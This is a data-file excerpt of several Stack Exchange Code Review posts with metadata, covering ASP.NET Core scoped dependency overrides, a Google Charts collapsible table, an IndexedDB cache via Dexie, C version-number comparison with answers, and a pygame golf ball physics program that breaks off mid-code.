"c",
"ascii-art",
"fractals",
"c99"
],
"Title": "ASCII Mandelbrot Set \"image\" producer"
} | 217574 |
<p>Some of the classes in my multi-tenant Asp.Net Core application depend on database repositories which in turn depend on a delegate called <code>GetCurrentTenantKey</code>.</p>
<p>In the normal request pipeline, the <code>GetCurrentTenantKey</code> delegate will be resolved to a <code>Func</code> that returns the tenant key found in the current users auth token.</p>
<p>But then I have a few background tasks that also need access to repositories, and in those cases, the tenant key doesn't come from any "current user", rather I'd like to provide it then and there. I thought the best solution would be to manually bind <code>GetCurrentTenantKey</code> to a local <code>Func</code>, but I don't want to affect the "normal" dependency tree in any way.</p>
<p>This is the class you'll use to create a scope:</p>
<pre><code>public class IsolatedServiceScopeFactory : IServiceScopeFactory
{
private readonly IServiceCollection _services;
public IsolatedServiceScopeFactory(IServiceCollection services)
{
_services = services;
}
public IServiceScope CreateScopeWithOverrides(Func<IServiceCollection, IServiceCollection> overrides)
{
var detachedCollection = new ImmutableServiceCollection(_services);
var collectionWithOverrides = overrides(detachedCollection);
return collectionWithOverrides.BuildServiceProvider().CreateScope();
}
public IServiceScope CreateScope() => _services.BuildServiceProvider().CreateScope();
}
</code></pre>
<p>It's intended to be used like this:</p>
<pre><code>using (var serviceScope = _serviceScopeFactory.CreateScopeWithOverrides(x => x
.AddScoped<GetCurrentTenantKey>(y => () => "any string")
.AddSingleton<SomeOtherOverride>()
))
{
// This will be resolved using my "overridden" version of GetCurrentTenantKey
var myRepository = serviceScope.ServiceProvider.GetRequiredService<IRepository<SomeType>>();
}
</code></pre>
<p>The <code>ImmutableServiceCollection</code> class is quite simple:</p>
<pre><code>public class ImmutableServiceCollection : IServiceCollection
{
private ImmutableList<ServiceDescriptor> _services;
public ImmutableServiceCollection(IEnumerable<ServiceDescriptor> services)
{
_services = services.ToImmutableList();
}
public IEnumerator<ServiceDescriptor> GetEnumerator()
{
return _services.GetEnumerator();
}
IEnumerator IEnumerable.GetEnumerator()
{
return GetEnumerator();
}
public void Add(ServiceDescriptor item)
{
_services = _services.Add(item);
}
public void Clear()
{
_services = _services.Clear();
}
public bool Contains(ServiceDescriptor item)
{
return _services.Contains(item);
}
public void CopyTo(ServiceDescriptor[] array, int arrayIndex)
{
_services.CopyTo(array, arrayIndex);
}
public bool Remove(ServiceDescriptor item)
{
var removed = _services.Contains(item);
_services = _services.Remove(item);
return removed;
}
public int Count => _services.Count;
public bool IsReadOnly { get; } = true;
public int IndexOf(ServiceDescriptor item)
{
return _services.IndexOf(item);
}
public void Insert(int index, ServiceDescriptor item)
{
_services = _services.Insert(index, item);
}
public void RemoveAt(int index)
{
_services = _services.RemoveAt(index);
}
public ServiceDescriptor this[int index]
{
get => _services[index];
set => _services = _services.SetItem(index, value);
}
}
</code></pre>
<p>It seems to work, but I'm not sure if I've maybe went about this the wrong way somehow?</p>
| [] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T19:32:11.053",
"Id": "217579",
"Score": "3",
"Tags": [
"c#",
"dependency-injection",
"asp.net-core",
"scope"
],
"Title": "Create an isolated dependency scope with \"overrides\" in Asp.Net Core"
} | 217579 |
<p>The end result is a bar formatted table chart that has expanding and minimising rows.</p>
<p>The code below works fine but I'd like to know if there is a cleaner way to achieve the same result (see JSFiddle for working example).</p>
<p>In the production version, the datatable & the "parent" rows (for want of a better term) will be defined at run time, hence asking if there is a better way to do it.</p>
<p>Points to note, I'm very much an ok-ish hobbyist coder and my background is much more vb.NET orientated than JS. It took a tonne of google searching and code example plagiarism just to get it to work, so please excuse any school-boy errors.</p>
<p><a href="https://jsfiddle.net/lexclay/u3rc5pLq/7/" rel="nofollow noreferrer">JSFiddle</a></p>
<p>HTML:</p>
<pre><code><script type="text/javascript" src="https://www.gstatic.com/charts/loader.js"></script>
<div id="vis_div"></div>
</code></pre>
<p>JavaScript:</p>
<pre><code>// Creates a bar formatted table chart with expanding and retracting rows
// DataTable contains ALL the rows to be displayed, "parent" rows are
// declared twice. The first declaration contains the button event that shows the
// child rows when clicked. The second declaration contains the button event that
// reduces the visable rows to the parent rows.
// Two buttons are required for ease of coding and to show a + on the first
// declaration and a - in the second.
google.charts.load('current', {'packages':['table']});
google.charts.setOnLoadCallback(drawVisualization);
function drawVisualization(iRows) {
var sRows
if (iRows === undefined) {
sRows = [0, 4, 10, 13]
}
else {
sRows = iRows
}
//Create and format the DataTable visualization with bar formatter
//This has to be done outside of the chartWrapper declaration so that
//the bar formatter is applied. chartWrapper does not allow for formatting
//to be applied to the DataTable
var data = new google.visualization.DataTable();
data.addColumn('string', '+/-');
data.addColumn('string', 'Department');
data.addColumn('number', 'Revenues');
data.addRows([
['<button onclick="MaxDraw(0);">+</button>', 'abc', 1000],
['<button onclick="MinDraw(0);">-</button>', 'abc', 1000],
['', '123', 650],
['', '456', 350],
['<button onclick="MaxDraw(3);">+</button>', 'def', 10000],
['<button onclick="MinDraw(3);">-</button>', 'def', 10000],
['', '789', 1000],
['', '101', 3000],
['', '112', 2000],
['', '131', 4000],
['<button onclick="MaxDraw(8);">+</button>', 'ghi', 500],
['<button onclick="MinDraw(8);">-</button>', 'ghi', 500],
['', '415', 500],
['<button onclick="MaxDraw(10);">+</button>', 'jkl', 6000],
['<button onclick="MinDraw(10);">-</button>', 'jkl', 6000],
['', '161', 5500],
['', '718', 500]
]);
var table = new google.visualization.Table(document.getElementById('vis_div'));
var formatter = new google.visualization.BarFormat({width: 220});
formatter.format(data, 2);
var wrapper = new google.visualization.ChartWrapper({
chartType: 'Table',
dataTable: data,
options: {allowHtml: true},
view: {rows: sRows},
containerId: 'vis_div'
});
wrapper.draw();
}
MaxDraw = function DrawRows(iSelectedRow){
if (iSelectedRow === 0){
drawVisualization([1, 2, 3, 4, 10, 13]);
}
else if (iSelectedRow === 3){
drawVisualization([0, 5, 6, 7, 8, 9, 10, 13]);
}
else if (iSelectedRow === 8){
drawVisualization([0, 4, 11, 12, 13]);
}
else if (iSelectedRow === 10){
drawVisualization([0, 4, 10, 14, 15, 16]);
}
}
MinDraw = function DrawRows(iSelectedRow){
drawVisualization([0, 4, 10, 13]);
}
</code></pre>
| [] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T20:13:32.077",
"Id": "217581",
"Score": "1",
"Tags": [
"javascript",
"beginner",
"data-visualization"
],
"Title": "Google ChartWrapper bar formatted table"
} | 217581 |
<p>In my site:</p>
<ul>
<li>Users have many Activities</li>
<li>Each Activity has encoded_polyline data</li>
<li>I display these encoded_polylines on a map</li>
</ul>
<p>I want to use IndexedDB (via <a href="https://dexie.org/" rel="nofollow noreferrer">Dexie</a>) as an in-browser cache so that they don't need to re-download their full Activity set every time they view their map. I've never used IndexedDB before, so I don't know if I'm doing anything silly or overlooking any edge cases.</p>
<hr>
<p>Here's a high-level description of what I think the overall process is:</p>
<ul>
<li>Figure out what exists on the server</li>
<li>Remove anything that is present in IndexedDB but is not present on the server</li>
<li>Figure out what exists in IndexedDB</li>
<li>Request only the data missing in IndexedDB</li>
<li>Store the new data in IndexedDB</li>
<li>Query all of the data out of IndexedDB</li>
</ul>
<p>Throughout all of this, we need to be focusing on <em>this user</em>. A person might view many people's pages, and therefore have a copy of many people's data in IndexedDB. So the queries to the server and IndexedDB need to be aware of which User ID is being referenced.</p>
<hr>
<p>Here's the English Language version of what I decided to do:</p>
<ul>
<li>Collect all of this User's Activty IDs from the server</li>
<li>Remove anything in IndexedDB that shouldn't be there (stuff deleted from the site that might still exist in IndexedDB)</li>
<li>Collect all of this User's Activty IDs from IndexedDB</li>
<li>Filter out anything that's present in IndexedDB and the server</li>
<li>If there are no new encoded_polylines to retrieve then <code>putItemsFromIndexeddbOnMap</code> (described below)</li>
<li>If there are new encoded_polylines to retrieve: retrieve those from the server, then store them in IndexedDB, then <code>putItemsFromIndexeddbOnMap</code></li>
</ul>
<p>For putItemsFromIndexeddbOnMap:</p>
<ul>
<li>Get all of this user's encoded_polylines from IndexedDB</li>
<li>Push that data into an array</li>
<li>Display that array of data on the map</li>
</ul>
<hr>
<p>Here's the JavaScript code that does what I've explained above (with some ERB because this JavaScript is embedded in a Rails view):</p>
<pre class="lang-js prettyprint-override"><code>var db = new Dexie("db_name");
db.version(1).stores({ activities: "id,user_id" });
db.open();
// get this user's activity IDs from the server
fetch('/users/' + <%= @user.id %> + '/activity_ids.json', { credentials: 'same-origin' }
).then(response => { return response.json() }
).then(activityIdsJson => {
// remove items from IndexedDB for this user that are not in activityIdsJson
// this keeps data that was deleted in the site from sticking around in IndexedDB
db.activities
.where('id')
.noneOf(activityIdsJson)
.and(function(item) { return item.user_id === <%= @user.id %> })
.keys()
.then(removeActivityIds => {
db.activities.bulkDelete(removeActivityIds);
});
// get this user's existing activity IDs out of IndexedDB
db.activities.where({user_id: <%= @user.id %>}).primaryKeys(function(primaryKeys) {
// filter out the activity IDs that are already in IndexedDB
var neededIds = activityIdsJson.filter((id) => !primaryKeys.includes(id));
if(Array.isArray(neededIds) && neededIds.length === 0) {
// we do not need to request any new data so query IndexedDB directly
putItemsFromIndexeddbOnMap();
} else if(Array.isArray(neededIds)) {
if(neededIds.equals(activityIdsJson)) {
// we need all data so do not pass the `only` param
neededIds = [];
}
// get new data (encoded_polylines for display on the map)
fetch('/users/' + <%= @user.id %> + '/encoded_polylines.json?only=' + neededIds, { credentials: 'same-origin' }
).then(response => { return response.json() }
).then(newEncodedPolylinesJson => {
// store the new encoded_polylines in IndexedDB
db.activities.bulkPut(newEncodedPolylinesJson).then(_unused => {
// pull all encoded_polylines out of IndexedDB
putItemsFromIndexeddbOnMap();
});
});
}
});
});
function putItemsFromIndexeddbOnMap() {
var featureCollection = [];
db.activities.where({user_id: <%= @user.id %>}).each(activity => {
featureCollection.push({
type: 'Feature',
geometry: polyline.toGeoJSON(activity['encoded_polyline'])
});
}).then(function() {
// if there are any polylines, add them to the map
if(featureCollection.length > 0) {
if(map.isStyleLoaded()) {
// map has fully loaded so add polylines to the map
addPolylineLayer(featureCollection);
} else {
// map is still loading, so wait for that to complete
map.on('style.load', addPolylineLayer(featureCollection));
}
}
}).catch(error => {
console.error(error.stack || error);
});
}
function addPolylineLayer(data) {
map.addSource('polylineCollection', {
type: 'geojson',
data: {
type: 'FeatureCollection',
features: data
}
});
map.addLayer({
id: 'polylineCollection',
type: 'line',
source: 'polylineCollection'
});
}
</code></pre>
<p>Can you review my code for best practices?</p>
| [] | [
{
"body": "<p>Overall this code looks fine, except I don't see much for error handling. I see a <code>catch</code> block in the <code>putItemsFromIndexeddbOnMap()</code> function but it either outputs the stack or else the error. What happens if the server responses from the calls to <code>fetch()</code> yield client side errors (e.g. 403, 404, etc) or server-side errors (e.g. 500)? Should the user see a \"friendly\" message, informing him/her as to what happened?</p>\n\n<p>There are a few simplifications mentioned below. You could also consider using <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/async_function\" rel=\"nofollow noreferrer\">asynchronous functions</a> along with the <code>await</code> operator on promises to remove the <code>.then()</code> blocks.</p>\n\n<hr>\n\n<p>This code makes decent use of arrow functions, but some of them can be simplified - for instance, after the <code>fetch()</code> call to get activity ids there is this line:</p>\n\n<blockquote>\n<pre><code>).then(response => { return response.json() }\n</code></pre>\n</blockquote>\n\n<p>An arrow function with a single statement doesn't need curly brackets or a <code>return</code> statement - it can simply be:</p>\n\n<pre><code>).then(response => response.json()\n</code></pre>\n\n<p>And similarly, there is an identical line after the call to <code>fetch()</code> for encoded polylines - that can also be simplified.</p>\n\n<p>There is also an anonymous function that could be simplified using an arrow function:</p>\n\n<blockquote>\n<pre><code>.and(function(item) { return item.user_id === <%= @user.id %> })\n</code></pre>\n</blockquote>\n\n<hr>\n\n<p>There are a few anonymous functions that could be simplified to function references</p>\n\n<p>For example:</p>\n\n<blockquote>\n<pre><code>.then(removeActivityIds => {\n db.activities.bulkDelete(removeActivityIds);\n});\n</code></pre>\n</blockquote>\n\n<p>Should be simplifiable to </p>\n\n<pre><code>.then(db.activities.bulkDelete)\n</code></pre>\n\n<p>Though you might have to make a <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/bind#Creating_a_bound_function\" rel=\"nofollow noreferrer\">bound function</a> with <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/bind\" rel=\"nofollow noreferrer\"><code>.bind()</code></a></p>\n\n<p>And this block: </p>\n\n<blockquote>\n<pre><code>db.activities.bulkPut(newEncodedPolylinesJson).then(_unused => {\n // pull all encoded_polylines out of IndexedDB\n putItemsFromIndexeddbOnMap();\n });\n</code></pre>\n</blockquote>\n\n<p>Can be simplified to </p>\n\n<pre><code>db.activities.bulkPut(newEncodedPolylinesJson)\n .then(putItemsFromIndexeddbOnMap); // pull all encoded_polylines out of IndexedDB\n</code></pre>\n\n<hr>\n\n<p>On the line below, <code>Array.isArray()</code> seems to be the wrong place to check for an array:</p>\n\n<blockquote>\n<pre><code> if(Array.isArray(neededIds) && neededIds.length === 0) {\n</code></pre>\n</blockquote>\n\n<p>Given that it is returned from: </p>\n\n<blockquote>\n<pre><code>var neededIds = activityIdsJson.filter((id) => !primaryKeys.includes(id));\n</code></pre>\n</blockquote>\n\n<p>And <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter\" rel=\"nofollow noreferrer\"><code>Array.filter()</code></a> returns \"<em>A new array with the elements that pass the test. If no elements pass the test, an empty array will be returned.</em>\"<sup><a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter#Return_value\" rel=\"nofollow noreferrer\">1</a></sup></p>\n\n<p>So perhaps the check should really be on <code>activityIdsJson</code> to see if that is an array.</p>\n\n<p><sup>1</sup><sub><a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter#Return_value\" rel=\"nofollow noreferrer\">https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter#Return_value</a></sub></p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T16:06:42.547",
"Id": "217627",
"ParentId": "217586",
"Score": "2"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T23:36:42.983",
"Id": "217586",
"Score": "2",
"Tags": [
"javascript",
"json",
"ecmascript-6",
"database",
"cache"
],
"Title": "Using IndexedDB as an in-browser cache"
} | 217586 |
<pre><code>#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdbool.h>
typedef int STATUS;
#define ERROR -1
#define OKAY 0
struct version
{
unsigned char major;
unsigned char minor;
unsigned char build;
unsigned char patch;
};
STATUS is_less_than(struct version * original, struct version *compared, bool *result)
{
if(original == NULL || compared == NULL || result == NULL)
{
result = NULL;
return ERROR;
}
*result = false;
if(original->major < compared->major)
{
*result = true;
}
else if(original->major == compared->major) // else if the major >= major
{
if(original->minor < compared->minor)
{
*result = true;
}
else if(original->minor == compared->minor)
{
if(original->build < compared->build)
{
*result = true;
}
else if(original->build == compared->build)
{
if(original->patch < compared->patch)
{
*result = true;
}
else if(original->patch == compared->patch)
{
*result = false;
}
}
}
}
return OKAY;
}
</code></pre>
<p>Is there a cleaner way to do this?</p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T11:09:13.787",
"Id": "421031",
"Score": "1",
"body": "[Code golf version](https://codegolf.stackexchange.com/a/171050/58251), just for fun"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-23T19:13:30.407",
"Id": "421902",
"Score": "0",
"body": "If the build number is monotonically increasing, you could just compare the build number"
}
] | [
{
"body": "<p>Yes, there is a cleaner way:</p>\n\n<pre><code>if (a.major != b.major) {\n *result = a.major < b.major;\n} else if (a.minor != b.minor) {\n *result = a.minor < b.minor;\n} else if (a.patch != b.patch) {\n *result = a.patch < b.patch;\n} else {\n *result = a.build < b.build;\n}\nreturn OKAY;\n</code></pre>\n\n<p>I reordered patch to come before build since that's <a href=\"https://semver.org/\" rel=\"nofollow noreferrer\">how it is usually done</a>. If your version scheme is different from this, good luck.</p>\n\n<p>Instead of <code>unsigned char</code> I would choose <code>uint32_t</code> so that your code can handle versions like <code>1.0.20190415</code>. If you need to handle version numbers with millisecond timestamps, each version component would need to be <code>uint64_t</code>.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T03:43:57.413",
"Id": "420974",
"Score": "0",
"body": "Nice catch on the patch, build ordering."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T08:35:37.037",
"Id": "421007",
"Score": "2",
"body": "If you really want to handle versions like `1.0.20190415`, `unsigned int` is not portable enough; `unsigned long` is."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T18:06:02.390",
"Id": "421084",
"Score": "0",
"body": "Since when is 1.0.20190415 valid? Version resources can't handle > 65535 in any component."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T19:58:58.670",
"Id": "421093",
"Score": "3",
"body": "@Joshua what is \"version resources\"? Maven can, and pkgsrc also. I guess pkg-config can handle the same, and so on."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T20:07:08.583",
"Id": "421096",
"Score": "0",
"body": "@RolandIllig: Win32 and .NET file versions are built into the binaries using a structure known as a version resource."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T21:29:00.133",
"Id": "421104",
"Score": "2",
"body": "@Joshua I don't see anything in the question about Win32 or .Net."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-18T04:34:01.373",
"Id": "421138",
"Score": "0",
"body": "@L.F. Thanks for the suggestion, I've chosen `uint32_t` now, at least."
}
],
"meta_data": {
"CommentCount": "7",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T03:36:59.483",
"Id": "217595",
"ParentId": "217587",
"Score": "14"
}
},
{
"body": "<h1>Return status</h1>\n<p>You create this:</p>\n<pre><code>typedef int STATUS;\n#define ERROR -1\n#define OKAY 0\n</code></pre>\n<p>which is basically a boolean status. Personally, I'd return a straight <code>bool</code>.</p>\n<h1>Bug/Not what you mean</h1>\n<p>Doing a</p>\n<pre><code>result = NULL;\n</code></pre>\n<p>is changing the local variable (parameter) <code>result</code>. It's not setting the result to NULL. In fact the caller won't probably have a pointer at all, but just a <code>bool</code>, which cannot properly be NULL.</p>\n<h1>Shorter version</h1>\n<p>I'm not sure this is cleaner, but here I go:</p>\n<pre><code>bool is_less_than(struct version * original, struct version *compared, bool *result)\n{\n if(original == NULL || compared == NULL || result == NULL)\n return false;\n \n *result = original->major < compared->major || original->major == compared->major && (\n original->minor < compared->minor || original->minor == compared->minor && (\n original->build < compared->build || original->build == compared->build && (\n original->patch < compared->patch)));\n\n return true;\n}\n</code></pre>\n<p>Next time, add a driver/test suite to your question, to ease the life of people answering. This can be one:</p>\n<pre><code>int main(void) \n{\n struct version ref = { 1, 2, 21, 8 };\n struct version lower1 = { 0, 2, 21, 8 };\n struct version lower2 = { 1, 1, 21, 8 };\n struct version lower3 = { 1, 2, 20, 8 };\n struct version lower4 = { 1, 2, 21, 7 };\n struct version equal = { 1, 2, 21, 8 };\n struct version higher1 = { 2, 2, 21, 8 };\n struct version higher2 = { 1, 3, 21, 8 };\n struct version higher3 = { 1, 2, 22, 8 };\n struct version higher4 = { 1, 2, 21, 9 };\n\n#define TEST(a,b,expect1,expect2)\\\n do {\\\n bool result1, result2;\\\n is_less_than((a), (b), &result1);\\\n is_less_than((b), (a), &result2);\\\n puts(result1==(expect1) && result2==(expect2)?"ok":"failed");\\\n } while(0)\n#define TESTL(a,b) TEST(a,b,true,false)\n#define TESTE(a,b) TEST(a,b,false,false)\n#define TESTH(a,b) TEST(a,b,false,true)\n\n TESTL(&lower1, &ref);\n TESTL(&lower2, &ref);\n TESTL(&lower3, &ref);\n TESTL(&lower4, &ref);\n TESTE(&equal, &ref);\n TESTH(&higher1, &ref);\n TESTH(&higher2, &ref);\n TESTH(&higher3, &ref);\n TESTH(&higher4, &ref);\n\n return 0;\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T03:49:06.290",
"Id": "420975",
"Score": "1",
"body": "As for every comparator function, the driver/test should compare each pair of example data to at least ensure that the ordering is transitive and that `less(x, x)` is never true."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T04:15:08.480",
"Id": "420976",
"Score": "0",
"body": "@RolandIllig Updated. Thank you for the suggestion."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T14:58:41.323",
"Id": "421057",
"Score": "0",
"body": "What is a \"driver\" in this context?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T20:02:25.700",
"Id": "421094",
"Score": "1",
"body": "@the_endian it's the program that runs the tests. Probably a really bad word play based on the \"test driver\" for cars. There's also the related term \"compiler driver\" for the main program of GCC or Clang that calls the internal subprograms like the preprocessor, the actual compiler, the assembler and the linker."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-18T06:39:40.587",
"Id": "421144",
"Score": "0",
"body": "@the_endian Testing software requires \"stubs\" and \"drivers\", which are substituted for modules or functions that call or are called by the one being tested. Stubs are functions called by the function being tested, and return constant or determined values so that the testing is predictable. Drivers are functions that call the function being tested with constant values. My interpretation of the names has always been that \"stubs\" are shorter (stubbier) than the real functions as they don't do anything, and \"drivers\" provide impetus to the functions being tested like a screw driver, etc."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-18T06:40:52.440",
"Id": "421145",
"Score": "1",
"body": "See https://en.wikipedia.org/wiki/Test_stub. This terminology comes from before unit testing frameworks were common, and now I feel old."
}
],
"meta_data": {
"CommentCount": "6",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T03:41:12.877",
"Id": "217596",
"ParentId": "217587",
"Score": "4"
}
},
{
"body": "<p>I don't see any advantage to having the function take three pointers (two for input and one for output) and return a status code. As a result of that <strong>unnecessarily error-prone design</strong>, the function has to handle the possibility of null pointers, and the caller is expected to handle a status code. But why should such a simple comparison have these failure modes at all?</p>\n\n<p>The danger is further complicated by the fact that neither of the in-parameters is declared <code>const</code>.</p>\n\n<p><strong>Just pass the two versions by value</strong>, and you would eliminate all of that complication! On any modern 32-bit or 64-bit processor, passing a four-byte struct by value should actually be more efficient than passing it by reference — especially since you don't have to dereference the pointers to access each field.</p>\n\n<p>With all of the potential errors out of the way, taking @RolandIllig's suggestion, you could then reduce it down to one chained conditional expression:</p>\n\n<pre><code>bool is_less_than(struct version a, struct version b) {\n return a.major != b.major ? a.major < b.major :\n a.minor != b.minor ? a.minor < b.minor :\n a.patch != b.patch ? a.patch < b.patch :\n a.build < b.build;\n}\n</code></pre>\n\n<p>I'd go further and recommend <strong>using <code>unsigned short</code> instead of <code>unsigned char</code> for the fields</strong>. Using <code>unsigned char</code> for numeric values is awkward, since you would have to cast them when using <code>printf()</code>. On a 64-bit architecture, a struct with four 2-byte fields would occupy 64 bits, so you wouldn't be saving anything by using <code>unsigned char</code> instead of <code>unsigned short</code>. It's also entirely conceivable that you might need mire than 256 builds within a patch level.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-24T05:51:41.183",
"Id": "422938",
"Score": "0",
"body": "That code really looks beautiful. There's one thing I don't get though. Can you elaborate on the \"you would have to cast them\" part? To my knowledge, when used in `printf(\"%u\", a.major)`, both `unsigned char` and `unsigned short` behave the same. The different behavior would only occur in C++, when doing `std::cout << a.major`. This is a C question though."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-24T05:57:30.783",
"Id": "422939",
"Score": "0",
"body": "@RolandIllig You're right: type promotion would happen implicitly with `printf(\"%d\", a.major)`, so it wouldn't be a significant concern."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T04:47:36.457",
"Id": "217599",
"ParentId": "217587",
"Score": "8"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T00:00:22.230",
"Id": "217587",
"Score": "8",
"Tags": [
"c"
],
"Title": "Compare a given version number in the form major.minor.build.patch and see if one is less than the other"
} | 217587 |
<p><a href="https://codereview.stackexchange.com/questions/216199/golf-game-boilerplate">Continuation of this post</a></p>
<p>I wrote a program in pygame that basically acts as a physics engine for a ball. You can hit the ball around and your strokes are counted, as well as an extra stroke for going out of bounds. Recently, I added a few things like air resistance, and rewrote my movement physics to make it easier to bounce. I'm wondering if the physics approach is good. Also, is there any way to convert everything into SI units? Right now, my air drag is an arbitrary value.</p>
<pre class="lang-py prettyprint-override"><code>import math
import pygame as pg
class Colors:
BLACK = (0, 0, 0)
WHITE = (255, 255, 255)
RED = (255, 0, 0)
GREEN = (0, 255, 0)
BLUE = (0, 0, 255)
YELLOW = (255, 255, 0)
GOLD = (255, 215, 0)
GRAY = (100, 100, 100)
NIGHT = (20, 24, 82)
DAY = (135, 206, 235)
MOON = (245, 243, 206)
SMOKE = (96, 96, 96)
class Constants:
SCREEN_WIDTH = 1500
SCREEN_HEIGHT = 800
WINDOW_COLOR = Colors.NIGHT
TICKRATE = 60
GAME_SPEED = .35
LINE_COLOR = Colors.GOLD
ALINE_COLOR = Colors.GOLD
X_BOUNDS_BARRIER = 1
Y_BOUNDS_BARRIER = 1
BOUNCE_FUZZ = 0
START_X = int(.5 * SCREEN_WIDTH)
START_Y = int(.99 * SCREEN_HEIGHT)
AIR_DRAG = .3
GRAVITY = 9.80665
class Fonts:
pg.font.init()
strokeFont = pg.font.SysFont("monospace", 50)
STROKECOLOR = Colors.YELLOW
powerFont = pg.font.SysFont("arial", 15, bold=True)
POWERCOLOR = Colors.GREEN
angleFont = pg.font.SysFont("arial", 15, bold=True)
ANGLECOLOR = Colors.GREEN
penaltyFont = pg.font.SysFont("georgia", 40, bold=True)
PENALTYCOLOR = Colors.RED
toggleBoundsFont = pg.font.SysFont("geneva", 20)
TOGGLEBOUNDSCOLOR = Colors.RED
resistMultiplierFont = pg.font.SysFont("courier new", 13)
RESISTMULTIPLIERCOLOR = Colors.RED
powerMultiplierFont = pg.font.SysFont("courier new", 13)
POWERMULTIPLIERCOLOR = Colors.RED
class Ball(object):
def __init__(self, x, y, dx = 0, dy = 0, bounce = .8, radius = 10, color=Colors.SMOKE, outlinecolor=Colors.RED, density=1):
self.color = color
self.outlinecolor = outlinecolor
self.x = x
self.y = y
self.dx = dx
self.dy = dy
self.ax = 0
self.ay = Constants.GRAVITY
self.dt = Constants.GAME_SPEED
self.bounce = bounce
self.radius = radius
self.mass = 4/3 * math.pi * self.radius**3 * density
def show(self, window):
pg.draw.circle(window, self.outlinecolor, (int(self.x), int(self.y)), self.radius)
pg.draw.circle(window, self.color, (int(self.x), int(self.y)), self.radius - int(.4 * self.radius))
def update(self, update_frame):
update_frame += 1
self.vx += self.ax * self.dt
self.vy += self.ay * self.dt
if resist_multiplier:
drag = 6*math.pi * self.radius * resist_multiplier * Constants.AIR_DRAG
air_resist_x = -drag * self.vx / self.mass
air_resist_y = -drag * self.vy / self.mass
self.vx += air_resist_x/self.dt
self.vy += air_resist_y/self.dt
self.x += self.vx * self.dt
self.y += self.vy * self.dt
bounced, stop, shoot = False, False, True
# Top & Bottom
if self.y + self.radius > Constants.SCREEN_HEIGHT:
self.y = Constants.SCREEN_HEIGHT - self.radius
self.vy = -self.vy
bounced = True
print(' Bounce!')
if self.y - self.radius < Constants.Y_BOUNDS_BARRIER:
self.y = Constants.Y_BOUNDS_BARRIER + self.radius
self.vy = -self.vy
bounced = True
print(' Bounce!')
# Speed/Resistance Rectangles
if (self.x >= .875*Constants.SCREEN_WIDTH + self.radius) and (self.y + self.radius >= .98*Constants.SCREEN_HEIGHT):
self.x = .88*Constants.SCREEN_WIDTH + self.radius
self.y = .98*Constants.SCREEN_HEIGHT - self.radius
self.x = .87*Constants.SCREEN_WIDTH + self.radius
self.vy, self.vx = -self.vy, -2 * abs(self.vx)
bounced = True
if (self.x <= .1175*Constants.SCREEN_WIDTH + self.radius) and (self.y + self.radius >= .98*Constants.SCREEN_HEIGHT):
self.x = .118*Constants.SCREEN_WIDTH + self.radius
self.y = .98*Constants.SCREEN_HEIGHT - self.radius
self.x = .119*Constants.SCREEN_WIDTH + self.radius
self.vy, self.vx = -self.vy, 2 * abs(self.vx)
bounced = True
if x_bounded:
if (self.x - self.radius < Constants.X_BOUNDS_BARRIER):
self.x = Constants.X_BOUNDS_BARRIER + self.radius
self.vx = -self.vx
bounced = True
if (self.x + self.radius > Constants.SCREEN_WIDTH - Constants.X_BOUNDS_BARRIER):
self.x = Constants.SCREEN_WIDTH - Constants.X_BOUNDS_BARRIER - self.radius
self.vx = -self.vx
bounced = True
if self.vx > 1000:
self.vx = 1000
self.y = Constants.SCREEN_HEIGHT/4
if bounced:
self.vx *= self.bounce
self.vy *= self.bounce
print(f'\n Update Frame: {update_frame}',
' x-pos: %spx' % round(self.x),
' y-pos: %spx' % round(self.y),
' x-vel: %spx/u' % round(self.vx),
' y-vel: %spx/u' % round(self.vy),
sep='\n', end='\n\n')
return update_frame, shoot, stop
@staticmethod
def quadrant(x, y, xm, ym):
